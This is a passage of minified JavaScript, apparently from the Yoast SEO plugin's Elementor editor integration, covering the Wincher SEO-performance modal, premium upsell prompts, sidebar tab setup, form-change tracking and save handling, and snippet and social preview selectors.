below.","wordpress-seo")),s&&n&&(0,c.createElement)(El,null),(0,c.createElement)(Vl,null,(0,c.createElement)(Xl,{selected:p,onSelect:b,options:l,isLoggedIn:s})),(0,c.createElement)(Gl,null,(0,c.createElement)(Ul,{isChartShown:f,datasets:E,keyphrases:r})),(0,c.createElement)(gl,{startAt:null==p?void 0:p.value,selectedKeyphrases:g,onSelectKeyphrases:y,trackedKeyphrases:t}))};function ec(e){const{isNewlyAuthenticated:t,isLoggedIn:s}=e,r=(0,u.useCallback)((()=>{Kl(e)}),[Kl,e]),n=Di(s);return(0,c.createElement)(jl,null,t&&(0,c.createElement)(Bi,null),s&&(0,c.createElement)($i,{trackingInfo:n}),(0,c.createElement)(Hl,null,(0,m.__)("SEO performance","wordpress-seo"),(0,c.createElement)(Yt.HelpIcon,{linkTo:wpseoAdminL10n["shortlinks.wincher.seo_performance"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the SEO performance feature.","wordpress-seo")})),(0,c.createElement)(wl,null),(0,c.createElement)(Yl,{isLoggedIn:s,onLogin:r}),(0,c.createElement)(Bl,{...e,onLogin:r}),(0,c.createElement)(Jl,{...e,historyDaysLimit:(null==n?void 0:n.historyDays)||31}))}Jl.propTypes={trackedKeyphrases:y().object,keyphrases:y().array.isRequired,isLoggedIn:y().bool.isRequired,shouldTrackAll:y().bool.isRequired,permalink:y().string.isRequired,historyDaysLimit:y().number},ec.propTypes={trackedKeyphrases:y().object,addTrackedKeyphrase:y().func.isRequired,isLoggedIn:y().bool,isNewlyAuthenticated:y().bool,keyphrases:y().array,response:y().object,shouldTrackAll:y().bool,permalink:y().string,historyDaysLimit:y().number},ec.defaultProps={trackedKeyphrases:null,isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],response:{},shouldTrackAll:!1,permalink:"",historyDaysLimit:0};const tc=(0,qt.compose)([(0,i.withSelect)((e=>{const{isWincherNewlyAuthenticated:t,getWincherKeyphraseLimitReached:s,getWincherLimit:r,getWincherHistoryDaysLimit:n,getWincherLoginStatus:a,getWincherRequestIsSuccess:o,getWincherRequestResponse:i,getWincherTrackableKeyphrases:l,getWincherTrackedKeyphrases:c,getWincherAllKeyphrasesMissRanking:d,getWincherPermalink:p,shouldWincherAutomaticallyTrackAll:u}=e("yoast-seo/editor");return{keyphrases:l(),trackedKeyphrases:c(),allKeyphrasesMissRanking:d(),isLoggedIn:a(),isNewlyAuthenticated:t(),isSuccess:o(),keyphraseLimitReached:s(),limit:r(),response:i(),shouldTrackAll:u(),permalink:p(),historyDaysLimit:n()}})),(0,i.withDispatch)((e=>{const{setWincherWebsiteId:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherTrackingForKeyphrase:n,setWincherSetKeyphraseLimitReached:a,setWincherLoginStatus:o}=e("yoast-seo/editor");return{setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},addTrackedKeyphrase:e=>{n(e)},setKeyphraseLimitReached:e=>{a(e)},onAuthentication:(e,s,r)=>{t(r),o(e,s)}}}))])(ec),sc=ht()(yi)`
	width: 18px;
	height: 18px;
	margin: 3px;
`;function rc(e){const{keyphrases:t,onNoKeyphraseSet:s,onOpen:r,location:n}=e;if(!t.length){let e=document.querySelector("#focus-keyword-input-metabox");return e||(e=document.querySelector("#focus-keyword-input-sidebar")),e.focus(),void s()}r(n)}function nc(e){const{location:t,whichModalOpen:s,shouldCloseOnClickOutside:r}=e,n=(0,u.useCallback)((()=>{rc(e)}),[rc,e]),a=(0,m.__)("Track SEO performance","wordpress-seo"),o=kr();return(0,c.createElement)(u.Fragment,null,s===t&&(0,c.createElement)(cs,{title:a,onRequestClose:e.onClose,icon:(0,c.createElement)(Ei,null),additionalClassName:"yoast-wincher-seo-performance-modal yoast-gutenberg-modal__no-padding",shouldCloseOnClickOutside:r},(0,c.createElement)(as,{className:"yoast-gutenberg-modal__content yoast-wincher-seo-performance-modal__content"},(0,c.createElement)(tc,null))),"sidebar"===t&&(0,c.createElement)(zt,{id:`wincher-open-button-${t}`,title:a,SuffixHeroIcon:(0,c.createElement)(sc,{className:"yst-text-slate-500",...o}),onClick:n}),"metabox"===t&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Kt,{id:`wincher-open-button-${t}`,onClick:n},(0,c.createElement)(Kt.Text,null,a),(0,c.createElement)(yi,{className:"yst-h-5 yst-w-5 yst-text-slate-500",...o}))))}nc.propTypes={location:y().string,whichModalOpen:y().oneOf(["none","metabox","sidebar","postpublish"]),shouldCloseOnClickOutside:y().bool,keyphrases:y().array.isRequired,onNoKeyphraseSet:y().func.isRequired,onOpen:y().func.isRequired,onClose:y().func.isRequired},nc.defaultProps={location:"",whichModalOpen:"none",shouldCloseOnClickOutside:!0};const ac=(0,qt.compose)([(0,i.withSelect)((e=>{const{getWincherModalOpen:t,getWincherTrackableKeyphrases:s}=e("yoast-seo/editor");return{keyphrases:s(),whichModalOpen:t()}})),(0,i.withDispatch)((e=>{const{setWincherOpenModal:t,setWincherDismissModal:s,setWincherNoKeyphrase:r}=e("yoast-seo/editor");return{onOpen:e=>{t(e)},onClose:()=>{s()},onNoKeyphraseSet:()=>{r()}}}))])(nc),oc=e=>(0,c.createElement)(ns,{title:(0,m.__)("Reach a wider audience","wordpress-seo"),description:(0,m.__)("Get help optimizing for up to 5 related keyphrases. This helps you reach a wider audience and get more traffic.","wordpress-seo"),benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:ae(),upsellButtonText:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:e.buyLink,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,m.__)("1 year free support and updates included!","wordpress-seo")});oc.propTypes={buyLink:y().string.isRequired};const ic=oc,lc=()=>{const[e,,,t,s]=(0,h.useToggleState)(!1),r=(0,u.useContext)(gt.LocationContext),{locationContext:n}=(0,gt.useRootContext)(),a=(0,h.useSvgAria)(),o=wpseoAdminL10n["sidebar"===r.toLowerCase()?"shortlinks.upsell.sidebar.additional_button":"shortlinks.upsell.metabox.additional_button"];return(0,c.createElement)(c.Fragment,null,e&&(0,c.createElement)(cs,{title:(0,m.__)("Add related keyphrases","wordpress-seo"),onRequestClose:s,additionalClassName:"",id:"yoast-additional-keyphrases-modal",className:`${is} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,c.createElement)(os,null,(0,c.createElement)(ic,{buyLink:(0,Ut.addQueryArgs)(o,{context:n})}))),"sidebar"===r&&(0,c.createElement)(zt,{id:"yoast-additional-keyphrase-modal-open-button",title:(0,m.__)("Add related keyphrase","wordpress-seo"),prefixIcon:{icon:"plus",color:va.colors.$color_grey_medium_dark},onClick:t},(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(Nt,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...a})))),"metabox"===r&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Kt,{id:"yoast-additional-keyphrase-metabox-modal-open-button",onClick:t},(0,c.createElement)(Yt.SvgIcon,{icon:"plus",color:va.colors.$color_grey_medium_dark}),(0,c.createElement)(Kt.Text,null,(0,m.__)("Add related keyphrase","wordpress-seo")),(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(Nt,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...a}),(0,c.createElement)("span",null,"Premium")))))};function cc({isLoading:e,onLoad:t,settings:s}){const r=(({webinarIntroUrl:e})=>{const{shouldShow:t}=_s(),s=(e=>{for(const t of e)if(null!=t&&t.getIsEligible())return t;return null})([{getIsEligible:()=>t,component:ks},{getIsEligible:_r,component:()=>(0,c.createElement)(Er,{hasIcon:!1,image:null,url:e})},{getIsEligible:()=>!0,component:()=>(0,c.createElement)(ws,{hasIcon:!1})}]);return(null==s?void 0:s.component)||null})({webinarIntroUrl:(0,i.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/webinar-intro-elementor")),[])});return(0,u.useEffect)((()=>{setTimeout((()=>{e&&t()}))})),e?null:(0,c.createElement)(u.Fragment,null,(0,c.createElement)(p.Fill,{name:"YoastElementor"},(0,c.createElement)(nn,{renderPriority:1},(0,c.createElement)(sn,null),r&&(0,c.createElement)("div",{className:"yst-inline-block yst-px-1.5"},(0,c.createElement)(r,null))),s.isKeywordAnalysisActive&&(0,c.createElement)(nn,{renderPriority:8},(0,c.createElement)(ps.KeywordInput,{isSEMrushIntegrationActive:s.isSEMrushIntegrationActive}),!window.wpseoScriptData.metabox.isPremium&&(0,c.createElement)(p.Fill,{name:"YoastRelatedKeyphrases"},(0,c.createElement)(gi,null))),s.isKeywordAnalysisActive&&(0,c.createElement)(nn,{renderPriority:10},(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ps.SeoAnalysis,{shouldUpsell:s.shouldUpsell,shouldUpsellWordFormRecognition:s.isWordFormRecognitionActive,shouldUpsellHighlighting:s.shouldUpsell}),s.shouldUpsell&&(0,c.createElement)(qo,null))),s.isContentAnalysisActive&&(0,c.createElement)(nn,{renderPriority:15},(0,c.createElement)(ps.ReadabilityAnalysis,{shouldUpsell:s.shouldUpsell,shouldUpsellHighlighting:s.shouldUpsell})),s.isInclusiveLanguageAnalysisActive&&(0,c.createElement)(nn,{renderPriority:19},(0,c.createElement)(ps.InclusiveLanguageAnalysis,{shouldUpsellHighlighting:s.shouldUpsell})),s.isKeywordAnalysisActive&&(0,c.createElement)(nn,{key:"additional-keywords-upsell",renderPriority:22},s.shouldUpsell&&(0,c.createElement)(lc,null)),s.isKeywordAnalysisActive&&s.isWincherIntegrationActive&&(0,c.createElement)(nn,{key:"wincher-seo-performance",renderPriority:23},(0,c.createElement)(ac,{location:"sidebar",shouldCloseOnClickOutside:!1})),s.shouldUpsell&&(0,c.createElement)(nn,{key:"internal-linking-suggestions-upsell",renderPriority:24},(0,c.createElement)(ds,null)),(0,c.createElement)(nn,{renderPriority:25},(0,c.createElement)(ya,null)),(s.useOpenGraphData||s.useTwitterData)&&(0,c.createElement)(nn,{key:"social-appearance",renderPriority:26},(0,c.createElement)(Ao,{useOpenGraphData:s.useOpenGraphData,useTwitterData:s.useTwitterData})),s.displaySchemaSettings&&(0,c.createElement)(nn,{renderPriority:28},(0,c.createElement)(Uo,{title:(0,m.__)("Schema","wordpress-seo")},(0,c.createElement)(Jo,null))),s.displayAdvancedTab&&(0,c.createElement)(nn,{renderPriority:29},(0,c.createElement)(Uo,{title:(0,m.__)("Advanced","wordpress-seo"),buttonId:"yoast-seo-elementor-advanced-button"},(0,c.createElement)(ii,{location:"sidebar"}))),s.isCornerstoneActive&&(0,c.createElement)(nn,{renderPriority:30},(0,c.createElement)(ms,null)),s.isInsightsEnabled&&(0,c.createElement)(nn,{renderPriority:32},(0,c.createElement)(en,{location:"elementor"}))))}cc.propTypes={isLoading:y().bool.isRequired,onLoad:y().func.isRequired,settings:y().object.isRequired};const dc=(0,qt.compose)([(0,i.withSelect)((e=>{const{getPreferences:t,getSnippetEditorIsLoading:s}=e("yoast-seo/editor");return{settings:t(),isLoading:s()}})),(0,i.withDispatch)((e=>{const{loadSnippetEditorData:t}=e("yoast-seo/editor");return{onLoad:t}}))])(cc),pc="yoast-elementor-react-tab",uc="yoast-seo-tab",mc="Yoast SEO",hc="panel/page-settings",gc=()=>{const{settings:e}=elementor.documents.getCurrent().config;e.tabs[uc]||(e.tabs=(0,T.reduce)(e.tabs,((e,t,s)=>(e[s]=t,"settings"===s&&(e[uc]=mc),e)),{})),$e.components.get(hc).hasTab(uc)||$e.components.get(hc).addTab(uc,{title:mc})};let yc=!1,fc=!1;const wc=(0,T.debounce)(At,500,{trailing:!0}),bc=()=>{const e=document.getElementById("yoast-form");if(!e)return void console.error("Yoast form not found!");window.YoastSEO=window.YoastSEO||{},window.YoastSEO._registerReactComponent=_t,(()=>{const e=document.createElement("div");e.id="yoast-elementor-react-root",document.body.appendChild(e),function(e,t){const s=ve();bt=(0,u.createRef)();const r={isRtl:s.isRtl};(0,u.render)((0,c.createElement)(ft,{theme:r,location:"sidebar"},(0,c.createElement)(p.SlotFillProvider,null,(0,c.createElement)(u.Fragment,null,t,(0,c.createElement)(Et,{ref:bt})))),document.getElementById(e)),wt.forEach((e=>{bt.current.registerComponent(e.key,e.Component)}))}(e.id,(0,c.createElement)(gt.Root,{context:{locationContext:"elementor-sidebar"}},(0,c.createElement)(Ft,{id:pc},(0,c.createElement)(Mt,null),(0,c.createElement)(dc,null))))})(),Tt("editor/documents/load","yoast-seo/register-tab",gc,(({config:e})=>Ct(e.id))),$e.routes.on("run:after",((e,t)=>{t===`${hc}/${uc}`&&(()=>{if(document.getElementById(pc))return;const e=document.getElementById("elementor-panel-page-settings-controls");if(!e)return;const t=e.querySelector(".elementor-control-yoast-seo-section");t&&(t.style.display="none");const s=document.createElement("div");s.id=pc,s.className="yoast yoast-elementor-panel__fills",e.appendChild(s)})()})),gc(),elementor.getPanelView().getPages("menu").view.addItem({name:"yoast",icon:"yoast yoast-element-menu-icon",title:mc,type:"page",callback:()=>{try{$e.route(`${hc}/${uc}`)}catch(e){$e.route(`${hc}/settings`),$e.route(`${hc}/${uc}`)}}},"more"),((e,t=500)=>{const s=(0,T.debounce)(e,t,{trailing:!0});St("document/elements/settings","yoast-seo/document/post-status",(({settings:e})=>s(e.post_status)),(({container:e,settings:t})=>{var s;return!!Ct((null==e||null===(s=e.document)||void 0===s?void 0:s.id)||elementor.documents.getCurrent().id)&&Boolean(null==t?void 0:t.post_status)}))})((()=>wc(yc)));const t=((e,t=500)=>{const s={},r=Array.from(e.querySelectorAll("input[name^='yoast']")),n=r.reduce(((e,{name:t,value:s})=>(e[t]=s,e)),{}),a={...n},o=new MutationObserver((0,T.debounce)((e=>{const t=[];e.forEach((e=>{"value"===e.attributeName&&e.target.name.startsWith("yoast")&&e.target.value!==n[e.target.name]&&(t.push({input:e.target,name:e.target.name,value:e.target.value,previousValue:n[e.target.name],snapshotValue:a[e.target.name]}),n[e.target.name]=e.target.value)})),t.length>0&&(0,T.forEach)(s,(e=>e(t)))}),t));return{start:()=>o.observe(e,{attributes:!0,subtree:!0}),stop:()=>o.disconnect(),subscribe:e=>{const t=(0,T.uniqueId)("yoast-form-listener");return s[t]=e,()=>delete s[t]},takeSnapshot:()=>{r.forEach((({name:e,value:t})=>{a[e]=t}))},restoreSnapshot:()=>{r.forEach((e=>{e.value=a[e.name],n[e.name]=a[e.name]}))}}})(e);t.subscribe((e=>{e.some((e=>{return t=e.name,s=e.value,r=e.previousValue,!(Lt.includes(t)||Pt.includes(t)&&((e,t)=>{if(t===e)return!0;if(""===t||""===e)return!1;let s,r;try{s=JSON.parse(t),r=JSON.parse(e)}catch(e){return!0}return s.length===r.length&&s.every(((e,t)=>e.keyword===r[t].keyword))})(r,s)||s===r);var t,s,r}))&&(yc=!0,wc(yc),$e.internal("document/save/set-is-modified",{status:!0}))})),t.start(),Rt("editor/documents/open","yoast-seo/document/open",(()=>{YoastSEO.store._freeze(!1),t.start(),(0,l.doAction)("yoast.elementor.toggleFreeze",{isFreeze:!1,isDiscard:!1})}),(({id:e})=>Ct(e))),St("editor/documents/close","yoast-seo/document/close",(0,T.throttle)((({mode:e})=>{t.stop(),"discard"===e&&(YoastSEO.store._restoreSnapshot(),t.restoreSnapshot(),yc=!1,At(yc));const s=()=>{YoastSEO.store._freeze(!0),(0,l.doAction)("yoast.elementor.toggleFreeze",{isFreeze:!0,isDiscard:"discard"===e}),(0,l.removeAction)("yoast.elementor.save.success","yoast/yoast-seo/finishClosingDocument"),(0,l.removeAction)("yoast.elementor.save.failure","yoast/yoast-seo/finishClosingDocument")};if(fc)return(0,l.addAction)("yoast.elementor.save.success","yoast/yoast-seo/finishClosingDocument",s),void(0,l.addAction)("yoast.elementor.save.failure","yoast/yoast-seo/finishClosingDocument",s);s()}),500,{leading:!0,trailing:!1}),(({id:e})=>Ct(e))),Tt("document/save/save","yoast-seo/document/save",(async({document:s})=>{if(fc=!0,!Ct(s.id))return;if(s.id!==elementor.config.document.revisions.current_id)return;yc=!1;const{success:r,formData:n,data:a,xhr:o}=await(e=>new Promise((t=>{const s=jQuery(e).serializeArray().reduce(((e,{name:t,value:s})=>(e[t]=s,e)),{});jQuery.post(e.getAttribute("action"),s).done((({success:e,data:r},n,a)=>t({success:e,formData:s,data:r,xhr:a}))).fail((e=>t({success:!1,formData:s,xhr:e})))})))(e);if(!r)return yc=!0,fc=!1,void(0,l.doAction)("yoast.elementor.save.failure");a.slug&&a.slug!==n.slug&&(0,i.dispatch)("yoast-seo/editor").updateData({slug:a.slug}),(0,i.dispatch)("yoast-seo/editor").setEditorDataSlug(a.slug),At(yc),(0,l.doAction)("yoast.elementor.save.success",o),YoastSEO.store._takeSnapshot(),t.takeSnapshot(),fc=!1}),(({document:e})=>Ct((null==e?void 0:e.id)||elementor.documents.getCurrent().id))),setTimeout((()=>{YoastSEO.store._takeSnapshot(),t.takeSnapshot()}),2e3)},Ec=window.yoast.reduxJsToolkit,_c="adminUrl",vc=(0,Ec.createSlice)({name:_c,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),kc=(vc.getInitialState,{selectAdminUrl:e=>(0,T.get)(e,_c,"")});kc.selectAdminLink=(0,Ec.createSelector)([kc.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),vc.actions,vc.reducer;const xc="linkParams",Sc=(0,Ec.createSlice)({name:xc,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),Rc=(Sc.getInitialState,{selectLinkParam:(e,t,s={})=>(0,T.get)(e,`${xc}.${t}`,s),selectLinkParams:e=>(0,T.get)(e,xc,{})});Rc.selectLink=(0,Ec.createSelector)([Rc.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,Ut.addQueryArgs)(t,{...e,...s}))),Sc.actions,Sc.reducer;const Tc=(0,Ec.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:r,description:n})=>({payload:{id:e||(0,Ec.nanoid)(),variant:t,size:s,title:r||"",description:n}})},removeNotification:(e,{payload:t})=>(0,T.omit)(e,t)}}),Cc=(Tc.getInitialState,Tc.actions,Tc.reducer,"pluginUrl"),Ic=(0,Ec.createSlice)({name:Cc,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),Lc=(Ic.getInitialState,{selectPluginUrl:e=>(0,T.get)(e,Cc,"")});Lc.selectImageLink=(0,Ec.createSelector)([Lc.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,T.trimEnd)(e,"/"),(0,T.trim)(t,"/"),(0,T.trimStart)(s,"/")].join("/"))),Ic.actions,Ic.reducer;const Pc="wistiaEmbedPermission",Ac=(0,Ec.createSlice)({name:Pc,initialState:{value:!1,status:le,error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${Pc}/request`,(e=>{e.status=ce})),e.addCase(`${Pc}/success`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${Pc}/error`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,T.get)(t,"error.code",500),message:(0,T.get)(t,"error.message","Unknown")}}))}}),Oc=(Ac.getInitialState,{selectWistiaEmbedPermission:e=>(0,T.get)(e,Pc,{value:!1,status:le}),selectWistiaEmbedPermissionValue:e=>(0,T.get)(e,[Pc,"value"],!1),selectWistiaEmbedPermissionStatus:e=>(0,T.get)(e,[Pc,"status"],le),selectWistiaEmbedPermissionError:e=>(0,T.get)(e,[Pc,"error"],{})}),Fc=(Ac.actions,{[Pc]:async({payload:e})=>di()({path:"/yoast/v1/wistia_embed_permission",method:"POST",data:{value:Boolean(e)}})});function Dc({alertKey:e}){return new Promise((t=>wpseoApi.post("alerts/dismiss",{key:e},(()=>t()))))}function Mc({query:e,postId:t}){return new Promise((s=>{wpseoApi.get("meta/search",{query:e,post_id:t},(e=>{s(e.meta)}))}))}Ac.reducer;const qc=Fc[Pc];class Nc{static get titleElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_title":"hidden_wpseo_title")}static get descriptionElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_metadesc":"hidden_wpseo_desc")}static get slugElement(){return document.getElementById("yoast_wpseo_slug")}static get title(){return Nc.titleElement.value}static set title(e){Nc.titleElement.value=e}static get description(){return Nc.descriptionElement.value}static set description(e){Nc.descriptionElement.value=e}static get slug(){return Nc.slugElement.value}static set slug(e){Nc.slugElement.value=e}}const{UPDATE_DATA:Uc,LOAD_SNIPPET_EDITOR_DATA:$c}=Ee.actions;function Bc(e){if(e.hasOwnProperty("title")){let t=e.title;e.title===(0,T.get)(window,"wpseoScriptData.metabox.title_template","")&&(t=""),Nc.title=t}if(e.hasOwnProperty("description")){let t=e.description;e.description===(0,T.get)(window,"wpseoScriptData.metabox.metadesc_template","")&&(t=""),Nc.description=t}return e.hasOwnProperty("slug")&&(Nc.slug=e.slug),{type:Uc,data:e}}const Wc=()=>{const e=(0,T.get)(window,"wpseoScriptData.metabox.title_template",""),t=(0,T.get)(window,"wpseoScriptData.metabox.metadesc_template","");return{type:$c,data:{title:Nc.title||e,description:Nc.description||t,slug:Nc.slug},templates:{title:e,description:t}}},Kc="yoast-measurement-element";function Yc(e){let t=document.getElementById(Kc);return t||(t=function(){const e=document.createElement("div");return e.id=Kc,e.style.position="absolute",e.style.left="-9999em",e.style.top=0,e.style.height=0,e.style.overflow="hidden",e.style.fontFamily="arial, sans-serif",e.style.fontSize="20px",e.style.fontWeight="400",document.body.appendChild(e),e}()),t.innerText=e,t.offsetWidth}const{getEditorDataSlug:jc,getEditorDataTitle:zc,getSnippetEditorDescription:Hc,getSnippetEditorSlug:Vc,getSnippetEditorTitle:Gc}=Ee.selectors,Zc=(0,Ec.createSelector)([jc,Vc,zc,()=>(0,T.get)(window,"elementor.documents.currentDocument.id",0)],((e,t,s,r)=>t||e||(0,Ut.cleanForSlug)(s)||String(r))),Qc=(0,Ec.createSelector)([Gc,Hc,Zc],((e,t,s)=>({title:e,description:t,slug:s}))),{getBaseUrlFromSettings:Xc,getContentLocale:Jc,getEditorDataContent:ed,getFocusKeyphrase:td,getSnippetEditorDescriptionWithTemplate:sd,getSnippetEditorTitleWithTemplate:rd,getDateFromSettings:nd}=Ee.selectors,ad=e=>{let t=rd(e),s=sd(e),r=Zc(e);const n=Xc(e);return t=Ht.strings.stripHTMLTags(De("data_page_title",t)),s=Ht.strings.stripHTMLTags(De("data_meta_desc",s)),r=r.trim().replace(/\s+/g,"-"),{text:ed(e),title:t,keyword:td(e),description:s,locale:Jc(e),titleWidth:Yc(t),slug:r,permalink:n+r,date:nd(e)}},od=e=>{let t=(0,T.get)(e,"editorData.excerpt","");if(""===t){const s="ja"===ke()?80:156;t=function(e,t=156){return(e=(e=(0,pn.stripTags)(e)).trim()).length<=t||(e=e.substring(0,t),/\s/.test(e)&&(e=e.substring(0,e.lastIndexOf(" ")))),e}((0,T.get)(e,"editorData.content",""),s)}return t},id=e=>(0,T.get)(e,"analysisData.snippet.title",""),ld=e=>(0,T.get)(e,"analysisData.snippet.description",""),cd=()=>(0,T.get)(window,"wpseoScriptData.metabox.title_template",""),dd=()=>(0,T.get)(window,"wpseoScriptData.metabox.title_template_no_fallback",""),pd=()=>(0,T.get)(window,"wpseoScriptData.metabox.social_title_template",""),ud=()=>(0,T.get)(window,"wpseoScriptData.metabox.metadesc_template",""),md=()=>(0,T.get)(window,"wpseoScriptData.metabox.social_description_template",""),hd=e=>{let t="";return(0,T.get)(e,"snippetEditor.replacementVariables",[]).forEach((e=>{"excerpt"===e.name&&(t=e.value)})),t},gd=e=>(0,T.get)(e,"facebookEditor.title",""),yd=e=>(0,T.get)(e,"facebookEditor.description",""),fd=(0,Ec.createSelector)([pd,id,dd,cd],((...e)=>e.find(Boolean)||"")),wd=((0,Ec.createSelector)([gd,fd],((e,t)=>e||t)),(0,Ec.createSelector)([md,ld,ud,hd,od],((...e)=>{var t;return null!==(t=e.find(Boolean))&&void 0!==t?t:""})));(0,Ec.createSelector)([yd,wd],((e,t)=>e||t));const bd=(0,Ec.createSelector)([pd,gd,id,dd,cd],((...e)=>e.find(Boolean)||"")),Ed=((0,Ec.createSelector)([e=>(0,T.get)(e,"twitterEditor.title",""),bd],((e,t)=>e||t)),(0,Ec.createSelector)([md,yd,ld,ud,hd,od],((...e)=>{var t;return null!==(t=e.find(Boolean))&&void 0!==t?t:""})));(0,Ec.createSelector)([e=>(0,T.get)(e,"twitterEditor.description",""),Ed],((e,t)=>e||t));const{selectAdminUrl:_d,selectAdminLink:vd}=kc,{selectLinkParams:kd,selectLinkParam:xd,selectLink:Sd}=Rc,{selectPluginUrl:Rd,selectImageLink:Td}=Lc,{selectWistiaEmbedPermission:Cd,selectWistiaEmbedPermissionValue:Id,selectWistiaEmbedPermissionStatus:Ld,selectWistiaEmbedPermissionError:Pd}=Oc,Ad=(0,Ec.createSelector)([e=>(0,T.get)(e,"settings.snippetEditor.baseUrl",""),Zc],((e,t)=>e+t)),Od={content:"",title:"",excerpt:"",slug:"",imageUrl:""},Fd="yoastmark";function Dd(e){const t=elementor.settings.page.model.get("post_featured_image"),s=(0,T.get)(t,"url","");return""===s?function(e){const t=we.languageProcessing.imageInText(e);if(0===t.length)return"";const s=jQuery.parseHTML(t.join(""));for(const e of s)if(e.src)return e.src;return""}(e):s}function Md(){const e=elementor.documents.getCurrent();if(!It())return;if(!["wp-post","wp-page"].includes(e.config.type))return;if((0,i.select)("yoast-seo/editor").getActiveMarker())return;const t=function(e){const t=function(e){var t;const s=[];return null===(t=e.$element)||void 0===t||t.find(".elementor-widget-container").each(((e,t)=>{const r=t.innerHTML.replace(/[\n\t]/g,"").trim();s.push(r)})),s.join("")}(e);return{content:t,title:elementor.settings.page.model.get("post_title"),excerpt:elementor.settings.page.model.get("post_excerpt")||"",imageUrl:Dd(t),status:elementor.settings.page.model.get("post_status")}}(e);t.content!==Od.content&&(Od.content=t.content,(0,i.dispatch)("yoast-seo/editor").setEditorDataContent(Od.content)),t.title!==Od.title&&(Od.title=t.title,(0,i.dispatch)("yoast-seo/editor").setEditorDataTitle(Od.title)),t.excerpt!==Od.excerpt&&(Od.excerpt=t.excerpt,(0,i.dispatch)("yoast-seo/editor").setEditorDataExcerpt(Od.excerpt)),t.imageUrl!==Od.imageUrl&&(Od.imageUrl=t.imageUrl,(0,i.dispatch)("yoast-seo/editor").setEditorDataImageUrl(Od.imageUrl))}function qd(){elementor.documents.getCurrent().$element.find(".elementor-widget-container").each(((e,t)=>{-1!==t.innerHTML.indexOf("<"+Fd)&&(t.innerHTML=we.markers.removeMarks(t.innerHTML))})),(0,i.dispatch)("yoast-seo/editor").setActiveMarker(null),(0,i.dispatch)("yoast-seo/editor").setMarkerPauseStatus(!1),YoastSEO.analysis.applyMarks(new we.Paper("",{}),[])}const Nd=(0,T.debounce)(Md,500);function Ud(e,t){const{updateWordsToHighlight:s}=(0,i.dispatch)("yoast-seo/editor");e("morphology",new we.Paper("",{keyword:t})).then((({result:{keyphraseForms:e}})=>{s((0,T.uniq)((0,T.flatten)(e)))})).catch((()=>{s([])}))}const $d=(0,T.debounce)(Ud,500);var Bd=jQuery;function Wd(e,t,s,r,n){this._scriptUrl=r,this._options={usedKeywords:t.keyword_usage,usedKeywordsPostTypes:t.keyword_usage_post_types,searchUrl:t.search_url,postUrl:t.post_edit_url},this._keywordUsage=t.keyword_usage,this._usedKeywordsPostTypes=t.keyword_usage_post_types,this._postID=Bd("#post_ID, [name=tag_ID]").val(),this._taxonomy=Bd("[name=taxonomy]").val()||"",this._nonce=n,this._ajaxAction=e,this._refreshAnalysis=s,this._initialized=!1}function Kd(){window.YoastSEO=window.YoastSEO||{},window.YoastSEO.store=function(){const{snapshotReducer:e,takeSnapshot:s,restoreSnapshot:l}=((e,t)=>{let s,r=!1,n=!1;return{snapshotReducer:(n=t,a)=>r?(r=!1,s):e(n,a),takeSnapshot:(e,t)=>{t({type:"CREATE_SNAPSHOT"}),s=(0,T.cloneDeep)(e()),n=!0},restoreSnapshot:e=>{n&&(r=!0,e({type:"RESTORE_SNAPSHOT"}))}}})((0,i.combineReducers)(Ee.reducers)),{freezeReducer:c,toggleFreeze:d}=((e,t)=>{let s=!1,r=null;return{freezeReducer:(n=t,a)=>s?r:e(n,a),toggleFreeze:(e,t=!s)=>{r=t?(0,T.cloneDeep)(e()):null,s=Boolean(t)}}})(e),p=(0,i.registerStore)("yoast-seo/editor",{reducer:c,selectors:{...Ee.selectors,...a,...n,...o},actions:(0,T.pickBy)({...Ee.actions,...r},(e=>"function"==typeof 